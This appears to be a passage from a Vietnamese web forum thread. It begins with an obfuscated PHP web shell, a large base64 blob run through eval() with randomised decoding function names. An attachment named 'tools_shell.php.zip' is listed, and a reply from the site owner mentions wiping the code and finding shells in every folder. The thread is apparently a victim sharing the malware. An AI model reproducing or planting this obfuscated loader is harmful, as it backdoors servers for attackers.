1Qfaks8vy514fYRTrWL2DRlkdTSBtLndW8PrSC7a7a7yb1AHksRn1ne1VKUE35O6r7Iy/v9UWXN81kCgsaRhfqq88/eypwJ0wfEXZ5NxcV6gYbvNUDtTn6+p5KbiKONlh2y843B+7ItDwHXL5QZMHrNH5HOOXaRsccFvswTvbdQjDuB0rHDKDsnxl2Bi4ryBY2b5neoGEiyQv1fssD2nJOz70ZazmfViYsF5980VKN5E4Z13lJWFyVrLP2h6JDDCdU1hP3sXZDSzz7JeW1LYYdHdzoU4xR1DQS7495LB6ywsxPzCCj08i4ey4vJB2DmrFO5xzcYDtToKFblpyBE8i5hI+m3t9rtwtnU8oHUO97kvkCfRt5bamUJJ2tOzTC573QCChHx0hOIVkfSCDs3mgB7tekCgrk864Jp/gx9fL9FeOfIXxk6KTMKzbvtQXztO/TW0WgWVSD+fjoYS9gDQuc4faTGI4YwPVVO8NiblgMLYIk9KTqJd/qhDdOPmGgxrXN2CtgzC77Y5gLPfztEDRTaJcgm0K2WvjGPW8amkxXJkYOKQSak9AHh4g1u0qCUt4ied7XKo97zLRMGIxj2Cdo/3Vz+9s7Ck/03oNLFVsEwT6PXn/E0SHhnMs2v//XE1Lep694+xgx1LLCWTdwy2DgED99mT8GyaJAt9sySybwLswd13/wvIfiVTeR+ysuRXd8+8qtHiV1qRb22LDEsy1UtwJJUsneghiAbsclE1ftwjnL9A40EsRsBnq+BLD9aEoJ2xTATbP9qyh+r/QXmHti2GfY3LnLQ7aU3vu6UUR0nbw6MySNteoDubhs0LAdc4lcIq40J9K6boziryCkFtffXzbJtDMJlFpMmFJq+yWwc7EIRrVOflF5K9FFOPkth+8vjkz/V21pYRifWo/3DjcbD+AV5aOkTm22BdfcVERiaP5DdKF7JFduzSCBe2t2b08vVoJC1IMeMeJnTygwKmdM2yxv82ZbS7q9SOiEE61HmZtz5y7dEBueJpk0jxJiwBYGaz/6b4OWZThk13kPysW5Z0Rm4HTy4jClLlMbBIDPhZIgCBYgyDj//vvXP//889///A8=")));
eval($p0QD92A($l4PszwY("DdA5kqNIAEBRf47R0UZVYCA2ATExBmuyJ0hAgjxWQbEJlIDg9FPGP8D71Zb1X39/Ks/9+FoFdtjeha+/LT+s91JdpChN5C0Qvv7IheHgAZuSpAZVQoIkKffzx9nrmar8m3QLpiZprCk2i/mMzEaoK7HMF5UnHvigqCX74QhSfW72i+AFUu3ifoldPHsvjlXWeCztZrU4w3kjFRyHPJBG6pZib7rIr1VqwlL7ugHrdQxUx95lO1ZXyTwdsvN5g4uspdlDs9/ciBtsxg6GHhcNB5+TAT1Gv+mwoyUkTcjAycnwK32ZW/e1Ou0UrRU3EyN47JKQSrkbriHzq2mfQgvZ0YN14gH2RXNxr6WZ3y+n4tCFsaRMp7jKcepTK9FXVPEUIiRnWyBE5PFx+tyGFaoyXaUevn26P+IK7497OFK/ebRflZnixYzumGjLqFHAkhCP4DNOtH9hlx45Yh2wW6BwhcJOBi6fF8SYSk4CrBX0QTsd8dFM10DGKOELeLO9bk9n2gzcANlZ2CZuLvYoqGRDh1wJxhKsdy8KxDGh7ylFBFCPso/80exIK8EwTO08lvtjRPkuNIPnJ8uNdU2q+dHqQ8j3rJKxsfiuiF9wco1GzZv0CgFqMerXW5aqmcunLQzRUhBSXxBJaE8PHL5ooadlb4y3Z6TzK/FBM+flFz3cgZtN3qH7t9jmFTYLHOJKE1atupcQUxaW10Fu82apXxmcHSj2T9UjziT2rfPoVCNfQHx0w0o+VL57Z8F5ka4QYUg9jHh9DuvvGEHv5nTpIbpuCd0oDoc0hkDZexkRioHsEyxjy8nYRZs73yuLZt/4fX3MgPMFSz57kxbdfEJhJBkqwPogxrLF1xEhMr7GjKo7Y36pRLjq3GWxwYdjk2jauThex2JQTV8LNe1Nt0Cs7/21o0diJk+GI2tGFEWSfBb//fn+/v73n/8B")));
 

Đính kèm

  • tools_shell.php.zip
    52.5 KB · Lượt xem: 1
Sửa lần cuối:
  • Like
Reactions: THB

dakhucquan.net

MasterCorporal
Tham gia
27/06/2015
Bài viết
336
Được Like
151
xóa sạch code rồi và đang chờ thằng sp nó cài lại host. ko biết nó up tay hay tools mà folder nào củng thấy shell vậy các bác nhể
 
  • Like
Reactions: THB
Top Bottom